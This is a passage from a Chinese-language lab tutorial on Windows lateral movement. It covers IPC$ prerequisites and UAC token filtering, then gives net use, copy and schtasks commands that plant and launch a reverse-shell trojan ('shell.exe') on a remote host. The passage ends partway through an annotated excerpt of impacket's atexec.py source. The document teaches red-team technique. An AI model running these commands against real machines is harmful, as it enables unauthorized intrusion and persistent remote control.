文章目录
一.测试环境
win7(192.168.100.132)->winserver2016(192.168.100.133)
注意:所有的手法均在没有开启任何防护软件(防火墙,windows_defender都关闭了的)的情况下进行的!
二.横向手法
1.系统漏洞类
(1).ms17-010
2.凭据类
(1).使用IPC$进行横向移动
1)前提条件:
1.对方主机开启admin$和c$等默认共享,通过ipc$连接可以访问到这些默认共享。
2.对方启用了administrator账户或者使用了HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且配置为1将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。
要求2的原因:(如果没有使用rid=500的账户或者启用了令牌过滤,那么就没有使用dir,copy等命令的权限)
在 windows vista 以上版本操作系统的任何非 RID 500 本地管理员帐户使用远程连接无论是通过 WMIPSEXEC 还是其他方法即使用户是本地管理员返回的令牌都是已过滤的管理员令牌也称受限令牌。
受限令牌是主令牌或模拟令牌的子集被修改用于控制特权或权限具有以下特性
其完整性级别被设置为“中”。
管理员 SID 和 管理员类的 SID 被标记为“仅仅拒绝”而不是直接把这些组移除。
所有的特权都被移除除了以下这些Change Notify、Shutdown、Undock、Increase Working Set 和 Time Zone。
通俗来说就是管理员组的非 RID 500 账户登录之后是没有过 UAC 的所有特权都被移除。而 RID 500 账户登录之后也以完全管理特权“完全令牌模式”运行所有应用程序实际是不用过 UAC 的。
对于本地“管理员”组中的域用户帐户当具有域用户帐户的用户远程登录 windows 操作系统并且该用户是管理员组的成员时域用户将在远程计算机上以完全管理员访问令牌运行并且该用户的 UAC 被禁用在该会话的远程计算机上。
2)攻击手法:
1.使用schtasks(计划任务)
1.使用 net use \\ip /u:user password建立ipc$连接
2.使用copy命令将木马拷贝到目标主机上
copy shell.exe \\192.168.100.133\c$\users\public
3.使用计划任务启动木马反弹shell
schtasks /create /s 192.168.100.133 /u administrator /p 123456 /tn shell /tr "C:/users/public/shell.exe" /sc onstart
schtasks /run /s 192.168.100.133 /tn shell /u administrator /p 123456
4.成功收到反弹shell
使用atexec
下载地址:https://github.com/SecureAuthCorp/impacket
命令格式:atexec.py 域/用户:密码@ip “执行的命令”
分析源代码:(只分析了如何创建和执行的计划任务这几个关键步骤)
首先是play函数中的关键,其设置了使用的传输协议,在DCERPCTransportFactory中有很多种传输方式
def play(self, addr):
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr#ncacn_np:%s[\pipe\atsvc]
#这里指定了使用的传输协议,为命名管道,使用smb协议进行通信。
rpctransport = transport.DCERPCTransportFactory(stringbinding)
#atsvc接口是用于与计划任务相关操作的,详细连接在下面
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/cf7d3ced-70f2-4c7e-802e-93d4dfb7d089
而后下一个关键点就是一个xml
if self.sessionId is not None:
cmd, args = cmd_split(self.__command)
else:
cmd = "cmd.exe"
args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName)
#这里指定了要执行的命令,可以看到是将我们执行的命令的结果写入到temp下的一个文件中,文件名随机生成。
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</